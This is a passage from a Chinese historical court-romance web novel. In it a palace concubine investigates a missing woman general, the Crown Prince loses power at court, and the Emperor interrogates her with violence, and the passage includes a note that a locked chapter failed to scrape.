说着却自顾从荷包里掏出两块碧色玉块,捧上前道:“上回在皇觉寺,见晋王殿下对这玉极感兴趣,只是当时太子殿下在场,奴婢不好将玉奉送,如今有幸又见晋王殿下,还望殿下能够收下,聊表奴婢的一丝愧疚之情。” 碧绿的玉在烛火下闪着光。 皇后再坐不住,一把站了起来,连在一旁的晋王都呆住了。 引两国无数人在寻的镇国玉玺,在这个女子的荷包里,而她就这般拿出来,要给他们? 难道是自己看走了眼,这并不是真的镇国玉玺? 宋轻风道:“这是奴婢在藏书阁借书之时无意中发现的,连太子殿下都不知情。” 皇后跌落回座上,拿起玉玺仔细看了看,面上带着嘲笑道:“不错,就是这块玉玺。” “奴婢不知这玉有什么特别,但是落在藏书阁里,想必非常玉。” 皇后低声道:“当年她从北戎人那里将玉抢回来,以为自己是多了不得的人,真当自己是战神,后来还不是落得那般下场。” 宋轻风浑身一颤,紧紧抓住了衣角。 皇后道:“说来她也是咎由自取,好好的一个女子,不愿意嫁人相夫教子,却跑到军营里与男人们厮混,这都是她应得的。” “就如你,既入了东宫伺候太子殿下,便要好生守好自己的本分,莫要心思太过活泛,更要与其他男子保持距离。” 宋轻风忍住想要扑上去的冲动,将玉轻轻放在皇后的桌案上,而后退后几步道:“谢娘娘教诲,我就先告退了。” 直等她走出去许久,晋王才拿起桌案上的玉玺,左右看了半晌,才确定地道:“没有错,与北戎描述的玉玺一模一样,连上面的痕迹都一样。” “多少人在找的东西,她为何这么轻易地给我们?难道她当真不知这块玉的价值?还是太子的阴谋?” 皇后看向门口渐渐远去的女子背影,宫中的女子,不管进宫前是如何自矜自傲,在宫中不用多久,便会陷入争斗的泥潭,就如她自己。 她看向自己手边的绣布道:“如今太子式微,朝不保夕,她这是投诚,提前找后路来了。” 只是她若是妄想攀晋王这根枝,未免痴心妄想。 宋轻风出了紫晨宫,却心中纷乱,满头乱绪。 她今日进紫晨宫见皇后,乃是突然之举,而将玉给他们,更是临时起意,为了引出这块玉背后的人。 可那到底是白楚楚的东西,说来不后悔是假的。 只是皇后拿到玉后,面上那轻蔑的神情,如尖刺一般扎在她的心口。 她不能理解,为什么一个好好的女子,为了家国,为了百姓,却落得而今这般的下场?为什么他们记得的只是她是个女子,却不记得她在战场上的浴血奋杀,不记得她如何舍己为人,保我百姓十年安宁。 她不比这世上的任何男子差,甚至超过了绝大部分的男子。 可他们不记得她了,他们记得的,也只是她是一个女子,一个不愿意嫁人的女子。 嫁人? 宋轻风陡然停住脚步。 不愿意嫁人? 方才皇后提到她不愿嫁人只愿在军营里,所以,她是不是曾有过婚约?。 李岏接过信纸来,却并未展开。 云逍看了看太子的脸色,道:“太子殿下,这是在北戎的密探,传回来的消息。臣在皇觉寺呆了这许久,并未查到奸细的蛛丝马迹,可从信里来看,这奸细八成并没有混在那些难民里,而是提前来了京师。” 李岏将信纸在手中摸了摸,而后却突然揉碎了。 云逍一惊欲要拦住道:“殿下!” 李岏道:“知道了,皇觉寺你不用呆了,回府里看看你父亲吧,近来天寒,他身子骨有些吃不消。” 云逍喜不过三秒便转了忧,原日盼夜盼希望能离开那天天吃素的寺庙,可如今实现了,但太子而今这状态,瞧着似乎不太对啊。 而今这京内外闹得这么凶,东宫的所有人都绷紧了神经,他怎么反而把自己这么个重要的人调离西山大营。 太子却没给他更多机会,只挥手叫他尽快回府。 云逍心中忧虑,摸不着头脑,离开东宫前,却瞧见远处有一女子正往此处来。 眯眼一瞧,正是宋轻风。 他举起手方要远远地招呼她,可方抬起手,突然定在原地。 这宋轻风与自己多次书信,讲的皆是西北的风光生活,她是在西北长大的。 而她,却又是几个月前,被宁安侯从西北带回来的私生女。 可在这数月,却不见她与宁安侯府有任何牵扯。 越想云逍的心凉了半截。 宋轻风瞧见了他心中一喜,自己正要寻他,不想他却刚好撞了过来。 她想了想,跑上前来,就是笑道:“你好啊,云逍大将军。” 云逍回过神来,尴尬地点头道:“好好,你好。” 宋轻风道:“好久不见你,你现在还在寺庙里吗?” “在,不,不在了。”云逍有些前言不搭后语。 宋轻风感受到他试探的目光,心中奇怪,却未多言,只是道:“宫中无聊,你若是有空多进宫来走走,陪我说说话吧。” “好啊。你…”云逍看着眼前的少女,明眸皓齿,一派天真,他想了想道,“若是你还想离宫,我可以帮你。” 宋轻风笑了,眉眼弯弯地道:“如今不了。太子殿下在哪里,我便在哪里,只要能一辈子陪在他身边,每天见到他,呆在这里一辈子也没关系。” 云逍想起她的一片痴心,心道是自己想多了。 宋轻风却突然摸了摸自己的肚子,怅然地道:“只是这么多月,我的肚子居然没有动静,若是能给殿下生个一男半女,该有多好。” 云逍见她低头惆怅,自顾言语,全然一副被情爱困扰的小女子。 “说到小孩,”宋轻风凑上来道:“我在后宫闲游,遇到几个老宫人闲聊,提到你的偶像白马战神。听老宫人提起,说是白马战神嫁人后生了一女,你可知晓啊?她是你的偶像,想必你一定认识她的女儿吧?” 云逍一愣道:“莫听他们胡言,白马战神是什么样的人物,这世上有哪个男子能配得上。” 宋轻风顺在衣角的手颤了颤。心头有一个可怕想法陡然升起,却又被她狠狠压了下去,怕云逍看出异样,她顺势摸了摸荷包,从里面掏了两粒糖来。一粒给了云逍。 哪知云逍刚要伸手,却刷地缩了回去。 宋轻风转头,却见太子不知何时站在身后。 她不知他听到了多少,心下紧张,试探着转移注意,将手里的糖递给太子道:“您吃?” 原以为他会拒绝,哪知太子低下头来,就势含住了她指尖上的糖。 宋轻风感到指尖的湿热,猛地缩回手,尴尬地笑了笑道:“殿下走起路来,半点声息也无。” 李岏将自己衣裳脱了,披在她的肩上,而后却一只手抬起了她下巴,使她看向了自己,他低头吻了她红润的唇,而后在她耳边低声道:“要不我们多多努力一下,总会有孩子的。” 疯了!这不还有人在!宋轻风避开头来,却见云逍早跑得没了影。 想要知道白楚楚的婚约,宋轻风想起她曾在典籍司翻阅过的档案。 她将自己关在房间里,回忆那时看过的所有记录,自己曾忽视的任何细枝末节。 她一个人坐着从天黑到天亮,第一缕晨曦照进窗格,她才从冥想中回过神来。 抓过桌案上的茶狂喝一口,她想起那些典籍里曾记录过一件小事。 武勋大典时,白楚楚自西北入宫面见陛下,陛下为表厚爱,单独设宴。 正值夏末秋初,木槿花盛,宴席摆在花树下,宴毕,陛下命人扫净花树下一切落花残叶。 “是陛下。” 宋轻风恍然,这个世上没有男子能配得上她,全天下只有那个最尊贵的人,敢觊觎她。 当然也未必是出于真心,他们想要夺走她的兵权,想要将她困在后宫,想要将她关在这四四方方的宫城内,折断她的翅膀,捆住她的手脚,让她一辈子,只能成为后宫争权夺利的女人。 她必然是不愿意的。 她就像天上的雄鹰,怎么甘于困在这一方隘小的宫城之类。 他就是这折辱她。 宋轻风抬头看着整日矗立在四周的朱红色宫墙,瞬间有些呼吸不过来。 那天夜里漫天的月光,月光下满地刺目的红,远处的人影马匹穿梭来去,惨嚎声绵绵不绝。 她缩成一团被寒冷与恐惧吓得瑟瑟发抖,恨不能自己变成蚂蚁大小,谁也找不见,可乱草被掀开。 一个人影露了出来,长发飞扬。 她下意识惊叫出声。 从床上惊坐而起,却见太子正坐在床边,静静地看着自己。 室内燃着炭,暖意融融,与他的目光混成一体,梦中的寒意与恐慌突然消散了大半。 宋轻风一把抱住了他,紧紧地缆柱他的肩膀,轻声问道:“你可以不要离开我吗?你可以不走吗?” 仿佛回到了北苍镇时,她发着高热,看着他远处的背影,她想问他你可以不要走吗? 她害怕一个人。 她自小孤独一人,多的是无数个孤独的夜晚,但当有人靠近的时候,她只想要拼命抓住所有的一点点温暖,哪怕只是一点点。 她一路遇到的同伴总是走了散,散了走,直到后来遇到兰哥哥。 李岏用力地回抱住她,拍了拍她的背道:“好,我们再也不离开,永远在一起。” 宋轻风反应过来,下意识从他身上起身。 李岏却一把抓住了她欲要逃离的手腕,整个人欺身压了过来。 只到天快亮时,两人才精疲力竭。 两人却毫无睡意,李岏抱着她道:“这些天我总是战战兢兢,像我这样的人,原不配得到幸福的。” 宋轻风想起近来他的境遇,问道:“所以你打算怎么做?” 听到宋轻风这般问自己,李岏愣了愣,好一会才低头道:“无他,君子所行,在民不在谤,何况孤是太子。” 宋轻风无语道:“悠悠众口,岂是这般轻而易举就能承受的!你分明可以澄清自己。” 李岏抬起头,一双眸子在光中透出令人心颤的琥珀色,宋轻风忍不住心中一颤,感到不好的预感,却听李岏的声音浅淡传来:“可是,他们说的没错,我确实是促成这一切的凶手。” “你说什么?地动怎么可能与你相关?” 李岏扯了扯唇角,却未扯出笑来,浑身的落寞与沉郁:“在苍西,我们曾遇到过一次埋伏,而后似乎发生了地动,你还记得吗?” 宋轻风自然记得。 李岏道:“那不是地动,是火药。” “火药?” 李岏道:“我确命宁旌使人于安西那一脉寻矿藏,但是并不是为寻黄金,而是为了硝石,有了硝石,便能制造出更多的火药,镇北军便能早日战胜北戎,保我边疆不受侵害。” 宋轻风愣住了:“可是安西地动,听闻牵连极广,难道真是采硝石造成的爆炸?” 李岏扯了扯唇角,伸出一根手指来,轻轻弹了弹她的额头:“说什么胡话,这要多少硝石才能达到这样的威力。” “可你说是你造成的。” 李岏收了唇角,目光看着远处的宫墙道:“地动本是天灾,可灾民流离失所,没死于地动,却死于饥饿与严寒,却是人祸。” “不妨与你直言,而今朝堂争斗,父子争权,众人所行,不为百姓,却为争权夺利。” “而这样的形势,是我一手造成的。”李岏转过头来,漆黑的眸子深不见底,他看着宋轻风道,“你说,难道我不是罪人吗?” 宋轻风似乎听到自己的心在狂跳,咚咚咚,掩盖了周围一切的声响。 直到此刻她才明白,什么挖金矿,动龙脉,引发地动,这些陷阱,这些流言的攻击全都是假的。 对方真正想要的是,要让太子明白,你若是一直这般强势下去,这样的事便会一直发生。 会有千千万万的百姓,如这些人一般出现在这世上。 而太子一早就明白了对方的意图。 “只有我这个太子,失去所有威胁,这一切才能解决。” 震惊之后,一股冲天的愤怒自宋轻风的四肢百骸窜起,叫她眼前发黑,浑身发烫,她咬牙切齿地道:“为何!他们卑鄙地以天下人要挟你,为何是你要退让!难道你败了,旁人就能过上好日子了吗?” 李岏低下头未曾吭声,散落的黑发滑落在肩头。 “你可能觉得我很傻,我大可拼个鱼死网破,谁胜谁负还是个未知数。可是,”李岏看着她,目光中却是一片沉静,仿佛在说着别人的故事,“若有更简单的办法,为何不试试呢?” 更简单的办法? 不知从何处传来一阵冷风吹过,宋轻风明白了太子的意思。 他毕竟只是太子,不是皇帝。皇帝与储君的纷争,若想最简单的解决,该退让的,自然是太子。 她心里的太子,万事皆在掌握,所以她也从未为他考虑过,而今她没来由地生出恐慌。 退让?他身为太子若是退让,等待他的会是什么?她不熟历史,却也知道,失败的太子,不是圈禁终身,就是…… 宋轻风猛吸一口气,打住了自己的念头。 对方是当今的陛下,更是他的亲生父亲,除了退出,他还能如何? 李岏看着宋轻风双眸似泛出红,他扯了扯唇,终于露出半点笑容来,伸出手最后只是摸了摸她的头道:“你终于开始担心我了吗?” “别怕,孤不会死,你自然更不会死。”。 常言兵败如山倒,谁也没想到,太子的势,失得这样的快。 先是统领二十万大军的镇北王,太子表兄,没有北去而是留在了京师,领了个闲职,整日在镇北王府上无聊游荡。 而后西山大营的统领谢危骑马摔倒,受了重伤回乡养病,吏部张时蛟被贬去了边远。 更令人瞠目结舌的是,太子太师赵周全的女儿赵宴苒,居然与皇后的母家许家嫡长成平侯一见钟情,定了终身。 一切纷扰,来得猝不及防。 而风口浪尖的太子本人,却多日未曾出现在众人面前。 随云殿内,两人临窗下棋。 李岏记得上一回她还是一手臭棋,不明所以,而今再下,他竟然赢得颇有些吃力了。这番进步,不得不叫他刮目相看,而对手的女子,却总是有些心不在焉,落起棋来磨磨蹭蹭。 全福掀开帘子,便瞧见一人捏着棋子发呆,一人看着对面的女子发呆。 他轻轻咳了一声,这才上前道:“殿下,宫宴开席时辰快到了,您是否要起驾?” 李岏尚未答应,宋轻风却转头道:“宫宴?” 全福陪笑道:“是啊,今日是腊八,陛下在祈年殿大宴群臣,是宫中每年的惯例。” 李岏见她面上透出好奇,不由问道:“你想一起去玩吗?” “我,我可以吗?” 李岏失笑道:“自然。” 两人坐了车一路往祈年殿,一路畅通,谁知却在行到祈年殿外头,车却被拦了下来。 高守冷着脸上前,低声道:“睁眼瞧瞧清楚,这是太子殿下的车驾。” 门口的守卫深埋着头,不敢看上一眼,结结巴巴地道:“高大人恕罪!不要为难小人,这是宫中的老规矩了,不管是谁到了这里都要下车检查。” 老规矩?高守冷笑一声。 这些年太子殿下在宫里来去,谁敢拦在车前,更遑论要下车检查! 车内宋轻风不想平日里高高在上,尊贵无比的太子殿下,境遇已到了这般,这宫里居然已有人敢这般轻慢他。 她不知如何安慰,只能下意识握住他的手,试图给他一点慰籍。 高守紧握剑柄,看向车驾的方向,却见整个车静悄悄的,殿下并没发出指示。 他一时不敢轻举妄动。 车内李岏对上她的目光,心头一动,回握住了她的手。 两人从车内下来,说着要搜身的守卫们瞧见他,忙低着头退到一旁,谁也不敢真的上手。 李岏看也没看几人,径直牵着宋轻风的手进了殿。 众大臣家眷早就已到了。 宋轻风远远瞧见殿内外济济一堂,人影攒动,叫人头昏脑胀,她一时后悔自己的决定。 若是今夜自己与太子并肩出现在这里,只怕光是那些眼光就能将自己戳穿。 她忙松了手,结结巴巴地道:“我,我自寻了个角落坐下吧。” 李岏早就察觉出她一手的汗,看着她紧张的模样,却未开口。 宋轻风接收到他的目光,突然反应过来,慌忙摇手道:“我没有旁的意思……” 如今东宫的情势,这一路行来,路人皆低头行礼,虽然规矩却又疏离,主动亲近的竟是一个也没有。 李岏按住了她的手,嘴角扯出一点弧度道:“那你是什么意思?” 宋轻风欲要争辩,看着他含笑的眉眼,一时却看得呆住了。 他与兰哥哥确实不同,尤其这笑起来的模样,平日里少年老成,连笑都隐晦地不易察觉。 李岏被她看得有些浑身不自在,忙转头嘱咐了高守几句,便自上前去了。 宋轻风自寻了角落,坐得又黑又远,远处高座上的皇帝和皇后也只瞧得见影影绰绰的身影,而太子坐在下首不远处,更是连面目都瞧不清。 好在吃食却甚是不错,尤其是宫内独具特色的高塔糖,绚丽又香甜,旁边的宫人也甚是殷勤周到。 不久座下宾客开始轮流祝词,甚至有世家公子贵女的才艺表演,堂中氛围渐渐轻松愉悦起来。 宋轻风一向爱热闹,不一时也被吸引。 突然她感觉席间有人似乎向她的方向扫来一眼。她循着感觉望去,仔细一瞧却发现是镇北王宁旌。 他虽然很快就转移了视线,与旁人觥筹交错起来,可宋轻风还是心中异样。 她心头生了怀疑,想要去探个究竟,可对方就坐在太子的下首,她此刻若是上前去,无异于吸引所有人的目光。 宋轻风大是后悔没有跟着太子一起坐,起码不会像此刻这般为难。 她再无心欣赏席上歌舞,只能一头扎到了殿外。 几个月前祈福殿前的一幕还在心头徘徊,兰哥哥突然出现在宫里,出现在她的面前。 叫她几疑是梦。 可兰哥哥就是这般厉害,有的是办法来寻她。 就像而今谁又敢说,那个宁旌不会是兰哥哥假扮的? 她不能贸然上前确认,但他可以出来寻她。 果然她站在檐下没一会,便听见了身后传来脚步声,宋轻风惊喜地回头,却见宁旌站在身后。 她仔细瞧了瞧,又瞧了瞧,宁旌并没有露出熟悉的神情来。 瞧见她的目光中隐现失落,宁旌迟疑着问道:“你,你有他的消息吗?” 宋轻风疑惑地道:“你说什么?” 宁旌却转身要进去道:“当我没问。” 宋轻风直觉不对,一把拦住他道:“你别走,你问谁?是兰哥哥吗?他人呢?” 宁旌道:“我不知道,我只是随口一问。” “他出了什么事?他不是一直与你在一处?难道他失踪了?” 宁旌耸肩道:“我可什么都没说。” 这话如一记惊雷,炸响在宋轻风的耳侧,这些日子她从随云殿出来,整日里便在宫中四处乱跑,一则期望可以找到关于白楚楚的蛛丝马迹,一则又希望兰哥哥像以往一般,乔装打扮出现在她面前。 可她一无所获,也没有半点兰哥哥的消息。 如今连宁旌堂堂镇北王都寻不到人! “宁旌!”李岏的声音自身后传来,一下惊醒了宋轻风。 她一把抓住李岏的手,质问道:“你知道什么?你有他的消息对不对?” 李岏皱了眉头道:“我并不知道。” “你怎么会不知道?”宋轻风道,“这整个京师,有你不知道的事吗?” 李岏感到她掐住自己的手指如铁钳一般如此用力,方要开口,却听她盯着他,目光中满是怀疑:“是不是你?你把他怎么了?” 连镇北王都寻不到的人,她不得不怀疑…… “刷”地一声,李岏感到浑身的血凉了半截,唇色瞬间白了白。 宋轻风见他形状,愈发用力地掐住他道:“果然是你?你把他怎么样了!你说啊!” 李岏白着脸,咬牙问道:“你以为我会对他如何?在你眼里我是什么人!” 宋轻风冷笑道:“你曾对他做了什么,自己不清楚吗?” 场间瞬间安静地落针可闻。 七岁的太子,便亲手杀了自己的兄长,此事无人不知,无人不晓。 李岏的脸上早已血色尽褪,身型更是如风雪中的落叶一般,单薄又脆弱。 宋轻风后悔自己话说重了,想要挽回,却只是嗫嚅着唇,自撇下他二人,一头扎进风雪里。 李岏也顾不得大雪,飞奔追上来拉住她道:“这么大的雪,你要跑哪里去,你连自己的身体都不顾了吗!” 宋轻风用力地欲要甩开他道:“别拦着我,我要去找兰哥哥。” “你要去哪里寻!”李岏道,“你知道他在哪里吗!” 宋轻风用力挣扎道:“我不管,我要去寻他!” 他消失在破云庙的门外,两年多的时间,她害怕消失与等待,如今难道又要眼睁睁看着他消失在眼前吗? 李岏紧紧抓着她,见她面上泪眼模糊,一时怒火中烧:“你休想!就算我将他如何了,怎么能让你找到!” 宋轻风一下停止了挣扎,愣愣地看着他。 李岏道:“若是你乖乖听话,我让他来见你。” 宋轻风忙抹了一把脸上的泪痕,乖巧点头道:“好,我什么都听您的,只要您放了他。” 李岏看着她鼻尖和脸颊早就冻的通红,脸上的泪痕有些都结了冰,低头更是看到她鞋袜尽湿。 他咬着牙,太阳穴狂跳,而后一把抱起她,将她送上了马车。 宋轻风回身过来,扒在马车的窗口问道:“您什么时候回来?” “待宫宴散了,”李岏深深看了她一眼,而后转身道,“放心,孤向来说到做到。” 第94章 [锁] [此章节已锁] <- 爬取失败, 暂未购买 -> 第95章 第 95 章 我只是棋子吗 宫门快要落锁, 宁旌才歪歪斜斜地从东宫出来。 全福带着人一路小心护送着。 他却不耐烦地摆手道:“别跟着了,赶紧回去伺候殿下去吧。” 全福知道这位王爷一向好清静,当即也不勉强, 只是行了礼回了方华殿。 宁旌揉了揉滚烫发红的脸颊,下意识瞥向内宫深处,喃喃道:“一个个的, 他们家人都是疯子。我也是傻, 居然答应他这么无理的要求。” 走了两步,愈发头晕, 今夜不小心多喝了几杯,他扶着墙站着,却见对面行来一队官兵。 为首的显然认识他, 却只是抱拳道:“王爷, 时辰不早了,卑职护送您尽快出宫吧!” 宁旌抬头,发现对方中年人,满脸的胡须, 竟是陛下身边的老人, 禁卫副统领韩山。 他敷衍道:“韩统领不在内宫侍卫陛下,怎么做起这巡城的差事。” 韩山不语,只是示意左右道:“王爷有些喝多了, 你们护着王爷出宫。” “是!”左右两人立刻应声上前,不由分说就要架住宁旌, 宁旌气笑了, 一人赏了一记响亮的巴掌道:“本王你们也敢拉拉扯扯的?” 那两人被打得脸颊通红,脸黑着,却并不收手, 依旧硬着头皮执行统领的命令,上来拉他。 宁旌原本借着酒意三分装傻,此刻也是动了真怒,这些狗仗人势的东西,他伸手要抽腰侧长剑,欲要砍断两人双手。 谁知突听“咻”地一声,不待他动手,两人已不约而同捂着胳膊痛嚎起来! 宁旌一眼瞧见那两人手腕上,插进了一根细小的木针。 是谁! 韩山当即脸色大变,众卫兵循声看去。 却见一个黑影刷地从墙头上飞快地消失了。他再顾不得镇北王,带着人便飞奔而去。 宁旌看着消失的人影呆站在当地,心脏剧烈如擂鼓,瞬间酒醒了大半。 天早已黑了下来,方才那两个侍卫离他极近,又是行动间,那人却能隔着那么远的距离,在黑暗中精准命中两人的手腕,而且不怕误伤了他。 饶是他久经沙场,此刻也是双腿发软,险些站立不住。 虽然隔得远,是匆匆一瞥,那墙头上瞬间缩走的人影,分明是个女子,分明他还瞧见那高扎的头发落下一丝弧线。 这世上,除了她还能有谁? 他一时想笑,却再无时间,化成一条闪电往她消失的方向飞奔而去。 甚至他比韩山还快了几步。只是那处墙黑沉沉的,竟无半分线索。 他看见韩山面色凝重,浑身肌肉紧张地绷着。 宁旌知道,他也与自己想到一起去了,这世上能有这般箭术与胆量的女子,还能有谁? 两人身法极快,身后的侍卫还未追来,眼见韩山瞥了他一眼,便要往回去,那模样分明是要发动全宫的禁军秘密搜寻此人。 宁旌冷着脸,毫不犹豫地抽出腰间宝剑,一道刺目的剑影闪过,只听咕咚一声闷响。 眨眼间,在大内禁军中多年,深得陛下宠幸的韩山统领,竟人首分离,直到死,面上还带着错愕与迷茫。 宁旌面若寒霜,将剑在雪中擦拭去血污,这才收剑归鞘,重又往外宫去。 只有满地凌乱,深浅不一的脚步,暴露出他此刻的颤栗与慌乱。 日上三竿,宋轻风从睡梦中醒来,习惯性看向窗台边桌案,却见上面原本架着的弩不见了,一问乌梅,却说是太子晨时来,瞧见机扣有些松散,命人送去司物局重新调试去了。 宋轻风垂着眼睛点点头。 乌梅道:“殿下见您一直睡得香,便没有打扰只是在床边坐了一会,后来全总管来,便跟着去了,好像是进了大内。” 宋轻风又点点头。 乌梅见她一早上便无精打采,有些纳闷,这几日殿下明显与她亲近了许多,怎么娘子瞧起来反而不开心了。 宋轻风自顾洗簌吃饭出门遛弯。 在校场对着靶子空手瞄准了一番,守卫在旁的侍卫许久不见她来,而今见了她竟格外亲切,与她招呼闲聊后,欲言又止,好一会才问道:“若是有机会,你想见见战神吗?” 宋轻风看着他道:“战神?” 那侍卫忙摆手道:“我只是随口说说,若是咱们运气好,能亲眼瞧瞧战神百步穿杨的神技,当真是不枉活过一场。” 宋轻风笑道:“我是出不了宫里,你还有机会。” 那侍卫安慰她道:“未必就要出宫才能看见,说不定就在宫里呢…” 宋轻风笑了笑,挥手道别,路过河塘,却见远处屋檐低矮,门窗紧闭。 那是破云院。 自打搬出去后,她便再没踏进去过,毕竟那不是真的破云院。 被破坏后,她便再不会涉足。 在外头逛了一天,她方才回随云殿,却听说太子还没回来。 看来此次禁军统领在禁内遇刺身亡,对宫内影响很大。 天色彻底黑了下来,她收拾上床,听闻更鼓声响,她睁开眼睛,里头一片清明,掀开被子轻轻走下床。 月上中天,宫禁一片寂静。 宋轻风刚走到门外,却见院中一个黑影站着,不由唬了一跳。 黑影听到动静转过身来。 面容在夜色里隐隐约约,却是太子身边的高守。 宋轻风心中一突道:“高守大人,您怎么在这里?” 高守走上前来,看了看她穿得整齐,扎起来的长发飘着,而后转回目光道:“殿下命属下来看看您。” 宋轻风瞧见他的目光,尴尬地摸了摸衣裳道:“我有,有点睡不着,原想出去走走。” 高守抱拳道:“夜里宫禁森严,这几日出了点事更是戒严戒地厉害,各处埋着许多高手,您若是出门走走,属下陪着您一起走。” 难道他发现了什么。 宋轻风心中打突,总觉得他是话中有话。 她摆手道:“不,不了,外头这么冷,我还是回屋去吧。” 说完她又问道:“太子殿下如今伤势如何了?” 自那夜之后,她再没进去过方华殿。 高守行礼道:“殿下一切安好。” 宋轻风见他没有要走的意思,一时无法,只得回了屋内。 谁知接下来的第二第三日,高守居然一日不落地守在外头,叫宋轻风彻底明白了,他就是有意的。 特意派高守守在自己旁边,不让自己出去做任何事! 这几日却有紫晨宫的宫人来。 说是西苑红梅开了,皇后近来心情不错,邀了许多人来商梅,不知如何居然想起她来了,要她一起前往。 高守道若是不想去,只需直言。 宋轻风虽然心中不愿去,但这几日被他看得紧,正好借此机会出去走走。 西苑里红梅不过两三株,却叫一群莺莺燕燕给围了,看不见红梅,只瞧得见人的黑脑袋。 宋轻风努力忽视周围人异样的目光,却被皇后叫了过去。 不知为何,皇后面容慈爱温和,唇角含笑,但她却有些怕她。 皇后瞧见她近前来,只是问道:“听闻太子近来身子欠佳,静养了几日,如今恢复得如何了,今日胃口如何?太医去看过了吗?” 宋轻风哪里知道,她也好几日未去方华殿了。 皇后见她犹犹豫豫,一时皱眉道:“太子宫中未设太子妃,你身为侍妾,该更尽心服侍才是。你也不必在此了,早点回去伺候太子才是正经。” 宋轻风有些无语,叫她来的是她,撵她的也是她。 只是今日来的都是世家小姐,也确实得不到什么消息,她行了礼便往回走。 还未行几步,却听外头宫人急急来传,说是陛下听闻此间热闹,也来了此地。 宋轻风脚下一惊,地上雪又未融,竟脚下一滑,要摔倒在地。 电光火石间,却有一黑衣人飞快飘过,在她身上轻轻一推,叫她站稳在当地,免于当众在御前失仪。 皇帝负着手,并未多看她一眼,被皇后接走了。 宋轻风屏住呼吸,直等到两人走远了,目光才僵硬的转过来。 方才那瞬间,若是没有看错,这个黑衣人的脖颈处,似有几个黑点。 她欲要瞧个仔细,那黑衣人却已不见踪迹…… 这日宋轻风站在院子里对着枯树举目,不久却有身穿锦服的宫人自内宫来,说是要宣宋轻风进内宫去。 乌梅又绿焦急万分,等人走了之后,忙跑去方华殿,却得知太子一早竟出门去了! 乌梅急地险些哭出声来,全福听闻宋娘子被内宫的人带走了,一时面如土色,忙派人去告知太子。 宋轻风跟着宫人,走了不知多久才走到一座金碧辉煌的大殿前。 她还来不及细看这宫殿的名字,一个大太监一把将她带进了殿内。 与外头刺目的金碧辉煌不同,这殿内大概是常年不见阳光,阴冷顺着皮肤往骨子里钻。 而桌案后的人,用同样阴冷的目光看着自己。 宋轻风一度觉得桌案后是一条冰冷的蛇,随时要将自己吞噬进去。 殿中寂静了半晌,火烛爆出花来。 桌案后的人动了动身子,阴影里的脸重又转回灯火下,成了威严的帝王。 皇帝开口道:“你便是宋轻风?太子侍妾?” 宋轻风心念电转间,回道:“是,正是陛下多月前亲自将我赐与太子殿下。” “我?”皇帝冷嗤一声,“东宫的人,果然是没有半点规矩。” 宋轻风轻笑道:“而今陛下召我来此,瞧来殿内只陛下与我二人,似乎也不甚合规矩。” 殿内死一般的寂静。 皇帝幽暗的目光盯着台下的女子,这女子身型纤细,目光澄彻,瞧起来是清白柔弱的模样。 他心口的怒意汇集在眼眸中,不想倒是自己看走了眼。难怪这样的女子,能在东宫活这么久。 宁安侯那样的蠢货,哪里可能生出一个这样的女儿! 宋轻风的心紧紧绷着,生怕他一怒之下,叫来殿外的守卫将自己砍了。 好在皇帝并无进一步动作,只是如看一只蝼蚁般看着她道:“你以为自己是东宫的人,朕便不敢杀你?” 宋轻风感到胸腔内心脏狂跳,浑身汗毛立起,多年帝王的威压,果然叫人不自主双腿发软。 她下意识紧紧抓着裙边,声音干涩道:“陛下宣我来此,难道只是想杀了我吗?” 皇帝不想她到此地步,还能说出这样话来,朝中内外多少公侯高官,在他此番威压之下早就吓得瘫软在地。 只是此番,他心中的怀疑反而有了实证,看来近来的传言未必是假的。 若是真的? 他的目光再一次扫向下方站着的女子,从她的目光中果然慢慢瞧出那个女子的神态来。 皇帝吓了一跳,也不再绕弯,而是直接问道:“说吧,你假冒宁安侯的女儿入宫来,有什么图谋?” 宋轻风睁着黑眼睛道:“我自小在外流浪,苦日子过惯了,自然是想要从此飞上枝头,过人上人的生活。” 她这般嘴硬,皇帝的耐心耗尽,压抑的怒意再忍不住,他咬牙嗤笑道:“自作聪明的蠢货,以为朕拿你没办法吗?” 说着他的拇指在桌案上轻扣,寂静的大殿内发出笃笃的声响。 随着声音落下,宋轻风感到脖颈处发凉,浑身汗毛倒立,一股阴冷之气自天灵浇灌而下,叫她牙齿忍不住大颤。 她的身旁不知何时出现一个黑衣人,从头到脚裹在黑布中,浑身的阴冷好似从地狱而来。 皇帝朝黑衣人看了一眼,那黑衣立时伸出惨白的手,掐住了她的脖颈。 这人的手冰冷如铁,宋轻风觉得脖颈处火辣辣地疼痛袭来,被攥住的咽喉让呼吸立时困难起来。 她喉间不自觉发出荷荷的声响。 皇帝冷眼看着她,道:“朕不会叫你立时死了,但你会知道,很多时候活着比死更痛苦。” 宋轻风双眼泛出金星,她下意识伸手用力想要将脖颈间的铁手挪开,那手却如钳子一般纹丝不动。 呼吸愈发急促,空气从狭隘的颈间艰难地吸入。 挣扎间,她一手拍掉了对方的披风。 即便是殿内光线昏暗,宋轻风还是瞧见对方惨白的皮肤上,有几个黑黑的圆点。 若不是曾见过这样的伤,一般人很难注意到。 是了! 这便是追影的伤! 她曾在太子用完追影后瞧见那些人身上,都有类似这样的伤口。 可这人是皇帝的贴身侍卫,如何会受到追影的伤?只是这样伤口,明显不是近年所伤。 在最后的窒息里,她却生出兴奋来,恨不能快活地大叫,那个知道白楚楚去向的人,就在皇帝的身边,就是他! 在最后一点残存的理智里,她瞧见皇帝不知何时已走到了她的身边。 用低沉可怖的声音问道:“她在哪里?” 她在哪里? 宋轻风咽喉火烧一般地疼痛,早就说不出话来,甚至就要晕倒在地。 说来自己在东宫多月,一个小透明一般的人物,皇帝皇后都不屑于见上一面的东宫侍妾,而今突然召见她,问她这样一个问题。 难怪他不将自己交给皇城司,堂堂一个皇帝要亲自审问自己。 她一时觉得有些荒谬。 果然她抛出这样一个诱饵,他便急不可待地上了钩。 那黑衣人却终于松开了手。 宋轻风一把瘫软在地,大量新鲜空气的涌入,叫肺部密密麻麻地刺痛,她止不住剧烈地咳嗽,眼泪顺着脸颊而下。 皇帝居高临下地看着她,等着她的回答。 宋轻风没想到,生死关头自己却突然神思飞奔,想起数月前的一件事。 她记得那时瞧见太子坐着肩辇急匆匆地回东宫,后来发现他膝上正趴着身受重伤的白窈窈。 听闻那是太子与皇帝拔剑相向,撕破了脸皮才救下来的人。 想必当时白窈窈,在这殿里,受到的差不多便是自己而今这番待遇。 她有太子拔剑来救,自己此番又会有谁来呢? 他可能会为了自己,与皇帝拔剑相向吗? “她在哪里?”皇帝又一次问道。 不用提她是谁,仿佛大家早就知道,她是谁。 若是知道她在何处,自己又何必苦苦搜寻。 